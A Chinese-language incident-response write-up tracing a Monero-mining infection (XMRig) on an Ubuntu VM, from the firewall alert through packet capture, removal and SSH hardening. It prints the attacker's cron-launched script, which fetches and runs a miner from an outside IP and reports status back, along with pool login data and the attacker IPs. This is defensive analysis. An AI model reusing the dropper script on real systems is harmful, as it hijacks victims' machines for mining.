目录
- 一、事件描述
- 二、定位受害主机
- 三、详细分析病毒行为
-
- [抓包,获取到进出端口 19999 的数据包](#抓包,获取到进出端口 19999 的数据包)
- 包分析,明确木马程序在干啥?
- 深度分析,看看受害者发给攻击者的数据是啥?
- 四、核实主机受损害情况
- 五、定位病毒位置
-
- [在受害主机上, 找到可执行文件](#在受害主机上, 找到可执行文件)
- 六、分析病毒运行机制
- 七、病毒入侵方式分析
- 八、清除病毒
- 九、网络加固
-
- [阻断恶意 IP 通信](#阻断恶意 IP 通信)
- [加强 SSH 安全](#加强 SSH 安全)
- 十、经验总结
一、事件描述
发现威胁,防火墙日志告警
在一次安全巡检中,我们发现,防火墙的安全日志中,有持续性安全威胁告警,级别为严重。

初步分析,告警日志说了什么?
打开一条告警日志,大致内容是这样的:
告警名称:挖矿活动多币种:CoinMiner知名恶意软件Stratum Authline,级别为"严重"。
源IP 47.76.62.16 与目的IP 192.168.50.108:41334 之间通过 TCP 协议通信。
处理动作:仅记录日志,未阻断。
这说表明,内网主机 192.168.50.108 参与挖矿活动,通信对端为公网 IP,固定端口为19999,属于典型矿池连接行为。防火墙检测到恶意行为,但策略仅设为记录,未采取拦截措施。

二、定位受害主机
通过IP地址,找到受害主机
防火墙日志中给出了受害主机的IP地址。通过IP,我们可以很快锁定主机位置,这是一台位于主机房的IP为192.168.50.108 的ubuntu虚拟机。
登录系统,看看谁在用端口19999:
因为告警日志中,外部主机通过19999的固定端口通信,那么,我们只需在受害主机中查看谁在用这个端口,那么病毒就是谁。
c
lsof -i :19999 # 列出当前系统中所有监听或使用 TCP/UDP 端口 19999 的进程信息
netstat -antp | grep 19999 #查找19999端口的监听情况和相关进程信息
通过上述命令,发现有一个名为 xmrig 的可疑进程,以 root 身份运行,主动向外连接。至此,已经能确认该主机为受害主机。

三、详细分析病毒行为
抓包,获取到进出端口 19999 的数据包
为了分析木马程序入侵电脑后到底在干啥?对电脑数据造成了哪些损失?我们必须进行抓包分析。也就是要弄清楚,受害主机连接攻击目标后,传了什么数据给攻击者。
ubuntu系统中,可使用tcpdump命令抓取流量包,具体如下:
c
tcpdump -i any -s 0 -X port 19999 #在所有网络接口上捕获所有到达或发送到端口 19999 的数据包,以十六进制和ASCII格式显示原始内容。

包分析,明确木马程序在干啥?
通过抓包内容输出看,受害主机每隔约 6 秒就向三个公网 IP(47.239.137.224、47.76.62.16、8.218.76.40)的 TCP 19999 端口发起连接。每次连接完成三次握手后,立即发送一个 1525 字节 的 PUSH 数据包,随后服务器回复 RST 包中断连接。整个过程反复循环。


深度分析,看看受害者发给攻击者的数据是啥?
从上面的分析可以看出,受害主机每隔几秒,就发给攻击者1525字节的数据包。那么,这部分数据到底是什么?
从前面的详细抓包输出中,我们提取出这1525字节的数据包中的有效数据,其中发现是一个完整的 JSON-RPC 请求:
c
json
{
"id": 1,
"jsonrpc": "2.0",
"method": "login",
"params": {
"login": "44pJQJmZNPxGYMqW...(长字符串)",
"pass": "PNET_Shell",
"agent": "XMRig/6.22.0-C5 (Linux x86_64) libuv/1.48.0 gcc/13.2.1",
"algo": ["cn/0","cn/1",...,"rx/0",...],
"algo-perf": {...}
}
}
agent 字段明确指出这是 XMRig 6.22.0-C5,一款门罗币挖矿软件。method 为 login,表示向矿池代理发送登录认证。algo-perf 包含了各算法在本机实测的算力值。

现在,可以确认主机已被植入门罗币挖矿木马,可能企图利用 CPU 资源进行加密货币挖矿。而受害主机持续发送给攻击者的1525字节的数据,是 XMRig 矿机的登录认证请求,向矿池代理上报自身支持的挖矿算法以及各算法的实测算力。如果连接成功,攻击者将利用该主机作为"矿工",进行门罗币挖矿。
但从抓包分析中得出结论,服务器返回 RST,认证失败或策略拒绝,但木马程序仍反复发送相同的 login 请求,可见病毒程序在持续运行。

四、核实主机受损害情况
最主要的,看看数据是否受损
在被病毒攻击后,最严重的情况就是电脑中的数据受损,如重要信息泄露,损坏等情况。 但通过抓包分析,受害主机始终没有成功连接到攻击主机。每次发送的数据包,只是认证信息,所以,这次攻击行为,没有造成数据方面的损失。
木马程序造成的其它损害
资源消耗,木马进程持续连接,会消耗cpu资源,导致系统环境卡顿,其他服务响应缓慢。
木马可能设置多种自启动方式,确保重启后复活。
攻击者可能已经通过挖矿木马建立了后门通道,暂时没发现受害主机向内网其他主机扫描或攻击的迹象。
五、定位病毒位置
在受害主机上, 找到可执行文件
我们知道了病毒的进程为xmrig,这是在前面抓包分析中,通过端口19999锁定的。那么就可以通过如下命令找到病毒文件所在的位置:
c
ls -l /proc/$(pgrep xmrig)/exe

发现 xmrig 位于 /etc/zz/xmrig,同目录下还有 config.json 和一个名为 ls 的文件。查看 /etc 目录,存在一个脚本 /etc/zz.sh。这些文件的权限均为 777。

上面的这些文件,都是木马程序的组成部分。
六、分析病毒运行机制
既然找到了病毒文件的位置,我们有必要弄清楚,病毒文件在系统中是怎么启动和运行的,这是彻底清除病毒的前提。
如果我们只删除了病毒文件,忽略了病毒文件的来源及运行机制,那么它们还会死灰复燃。
看启动脚本,病毒文件可能靠它自启动
先打开启动脚本 /etc/zz.sh :
c
#!/bin/bash
if ! pgrep -x "xmrig" > /dev/null; then
if [ ! -f /etc/zz/config.json ] || [ ! -f /etc/zz/xmrig ]; then
curl http://47.122.21.201/info.php?str=XMR_download
mkdir -p /etc/zz && cd /etc/zz
wget http://47.122.21.201/config.json
wget http://47.122.21.201/xmrig
chmod 777 xmrig
fi
curl http://47.122.21.201/info.php?str=XMR_restart
threads=$(echo "($(nproc) * 0.5 + 0.999)/1" | bc)
cd /etc/zz
screen -dmS xmrig_session ./xmrig -c config.json -t $threads
sleep 5
pgrep -x "xmrig" && curl http://47.122.21.201/info.php?str=XMR_restart_success
fi
这个启动脚本的大概功能是:
检查 xmrig 是否运行;若未运行且文件缺失,就从 47.122.21.201 下载配置文件和二进制;根据 CPU 核心数计算一半的线程数(向上取整);通过 screen 后台启动挖矿程序;最后向攻击者控制的服务器回传成功或失败的状态。

那么,是谁启动了这个脚本呢?
打开计划任务:
c
cat /etc/crontab
crontab 中存在一行关于zz.sh这个脚本的定时启动信息,这可能是为保证系统每次重启后自动启动挖矿程序。未发现其他自启动项。

七、病毒入侵方式分析
到此为止,我们找到了木马程序,基本搞清了它的运行方法。
但是,我们还有个疑问,它是什么时候,通过什么方式侵入到我主机的。对此疑问,我们通过现有的条件,进行了简单的分析:
中毒时间线梳理
2026-05-19 07:50 ~ 07:59:/var/log/auth.log 中,出现密集的 sudo 命令循环( rm -f /root/.toprc、nproc --all、top -n2 -c -b -w 512)。这可能是自动化脚本执行,不像人为操作,如下图所示:
2026-05-19 08:00:/etc/zz/ 目录被创建,xmrig 和 config.json 被下载。可见,主机中毒事件为2026年05月19

入侵途径分析
查看SSH 登录日志:在07:50 之后,没有发现登录记录,扩大搜索范围也没有找到明显的外来登录 的IP。
由此推断可能的原因为:
攻击者利用了Web 管理界面的已知漏洞,直接执行命令下载木马,这一点暂无法确定。
SSH 登录日志可能已被攻击者清理,或使用了非标准的 SSH 端口。
由此推测可能的入侵过程为:
由于没有确切的日志信息,只能通过上述分析,进行推测攻击过程。
攻击者可能扫描到目标主机开放的 22 端口(或 Web 面板),通过弱密码或漏洞获取 root 权限。
上传 /etc/zz.sh 脚本并执行,脚本执行后下载挖矿程序,并添加计划任务确保重启生效。
八、清除病毒
停止恶意进程
c
pkill -9 xmrig

删除木马文件及脚本
c
rm -rf /etc/zz /etc/zz.sh

清理计划任务
c
crontab -e # 删除病毒脚本行

**其它检查 **
c
grep :0: /etc/passwd # 确保无非法超级用户
ls -la /root/.ssh/ # 检查是否添加了恶意公钥
九、网络加固
阻断恶意 IP 通信
在边界防火墙或主机 iptables 中,将以下 IP加入黑名单:
c
47.239.137.224
47.76.62.16
8.218.76.40
47.122.21.201(木马下载源)
加强 SSH 安全
禁止 root 直接登录:PermitRootLogin no
使用密钥认证,禁用密码登录
更改 SSH 默认端口(如 2222)
十、经验总结
流量分析是发现未知威胁的利器
普通的杀毒软件可能无法第一时间检测到变种挖矿木马,但通过定期的流量抓包分析,能快速发现异常外联行为(如非常规端口、周期性连接、特定长度数据包)。
很多木马使用 JSON、HTTP 等明文协议,通过 tcpdump -X 可直接看到攻击者的指令内容,这是铁证。
不要忽略计划任务
crontab -l 是应急响应必查项目,许多木马通过 @reboot 实现持久化,比 systemd 更隐蔽。
完整的日志很重要
本次分析中,SSH 登录日志缺失导致无法精准定位入侵方式。建议生产环境配置远程日志存储(如 rsyslog 发送到日志服务器),防止攻击者本地清除痕迹。
及时清理后门并加固
清除木马后必须彻底排查所有可能的后门入口(SSH 公钥、计划任务、系统服务),否则攻击者可能再次进入。